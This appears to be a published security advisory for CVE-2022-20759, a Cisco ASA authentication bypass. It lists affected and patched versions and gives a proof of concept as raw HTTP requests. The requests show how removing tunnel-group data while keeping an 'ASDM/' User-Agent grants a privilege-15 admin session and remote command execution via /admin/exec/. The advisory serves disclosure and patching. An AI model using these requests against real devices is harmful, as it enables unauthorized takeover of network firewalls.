Cisco ASA - Security issue in authentication (CVE-2022-20759)

High orange-cert-cc published GHSA-gq88-gqmj-7v24 on Apr 27

Package

ASA (Cisco)

Affected versions	Patched versions
8.4(2)	9.8.4.43
8.4(2)	9.12.4.38
8.4(2)	9.14.4
8.4(2)	9.15.1.21
8.4(2)	9.16.2.14
8.4(2)	9.17.7

Description

Overview

An implementation mistake affecting Cisco ASA authentication mechanism allows a remote attacker to open an administrative session on Cisco ASDM administration interface (with highest privileges by default) via a specially crafted authentication request and using any valid account (including domain accounts unrelated to ASA and not appearing in any ASA VPN users lists).

Details

A normal authentication ASDM authentication request looks as follow :

```
POST /+webvpn+/index.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: ASDM/ Java/1.8.0_301
Host: vpn.example.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
Connection: close
Content-Length: 74
Cookie: webvpnlogin=1; tg=0RGVmYXVsdEFETUlOR3JvdXA=
```

```
username=jdoe&password=S3cr3t&tgroup=DefaultADMINGroup&Login=Login
```

In this request :

- The user-agent beginning with the string “ASDM/” is mandatory, otherwise the authentication will not be recognized as an ASDM authentication request and be systematically refused.
- The tunnel group information (the “tg” cookie being simply an static encoded version of the “tgroup” value “Default ADMINGroup”) tells ASA to check the credentials against authorized ASDM users database.
-

Proof of Concept

When using a valid domain account but with no administrative privileges on ASA, the authentication request is rejected :

```
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/xml; charset=utf-8
Cache-Control: no-store
Set-Cookie: webvpn=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure
Set-Cookie: webvpn_as=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure
Set-Cookie: webvpnc=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure
Set-Cookie: webvpnlogin=1; secure
X-Frame-Options: SAMEORIGIN
Content-Length: 719

<?xml version="1.0" encoding="UTF-8"?>
<!--
Copyright (c) 2013, 2018 by Cisco Systems, Inc.
All rights reserved.
-->
<auth id="main">
<title>SSL VPN Service</title>
<ca status="disabled" href="/+CSCOCA+/login.html" />


<banner></banner>
<message>Please enter your username and password.</message>


<error id="15" param1="" param2="">Login failed.</error>
<form method="post" action="/+webvpn+/index.html">

<input type="text" name="username" label="Username:" />
<input type="password" name="password" label="Password:" />


<input type="hidden" name="tgroup" value="DefaultADMINGroup" />
```

```
<input type="submit" name="Login" value="Login" />
<input type="reset" name="Clear" value="Clear" />


</form>
</auth>
```

However, altering the same authentication request and removing the tunnel group information while keeping ASDM User-Agent seems to trigger a fallback on ASA side, making it accept the authentication request as long any valid credential has been used, including unprivileged accounts from a linked Active Directory domain :

- Modified authentication request with tunnel group information deleted, the User-Agent must remain “ASDM/” :

```
POST /+webvpn+/index.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: ASDM/ Java/1.8.0_301
Host: vpn.example.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
Connection: close
Content-Length: 74
Cookie: webvpnlogin=1;

username=jdoe&password=S3cr3t
```

- Server response:

```
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/xml; charset=utf-8
Cache-Control: no-store
Set-Cookie: webvpnlogin=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure
Set-Cookie: webvpn_as=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure
Set-Cookie: samlPreauthSessionHash=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure
Set-Cookie: acSamlv2Token=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure
Set-Cookie: acSamlv2Error=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure
Set-Cookie: webvpn=A0790[redacted]390AE; path=/; secure
Set-Cookie: webvpnaac=1; path=/; secure
X-Frame-Options: SAMEORIGIN
Content-Length: 138

<?xml version="1.0" encoding="UTF-8"?>
<auth id="success">
<title>SSL VPN Service</title>
<message>Success</message>
<success/>
</auth>
```

Intercepting and altering ASDM authentication request this way allows to access ASA administration interface with maximum privilege level 15 by default :
Alternatively, ASA provides a web API also allowing to remotely execute arbitrary shell commands :

- Execution of the “show curpriv” command:

```
GET /admin/exec/show+curpriv HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: ASDM/ Java/1.8.0_301
Host: vpn.orange-jtg.jo:445
Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
Connection: close
Cookie: webvpn= A0790[redacted]390AE; webvpnaac=1; tg=0RGVmYXVsdEFETUlOR3JvdXA=
```

- Server reply, show we are running with full privilege:

```
HTTP/1.1 200 OK
Date: Wed, 15 Sep 2021 11:56:49 UTC
Connection: close
Content-Type: text/plain

Username : jdoe
Current privilege level : 15
Current Mode/s : P_PRIV P_CONF`
```

Solution

Security patch

Refer to Mitigation table available from Cisco Security Advisory (see reference section)

Workaround

There are no workarounds that address this vulnerability.

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-mgmt-privesc-BMFMUvye
https://nvd.nist.gov/vuln/detail/CVE-2022-20759

Credits

Orange CERT-CC
Orange SA2 team at Orange group

Timeline

Date reported: October 11, 2021
Date fixed: April 27, 2022

Severity

High 8.8 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2022-20759

Weaknesses

CWE-266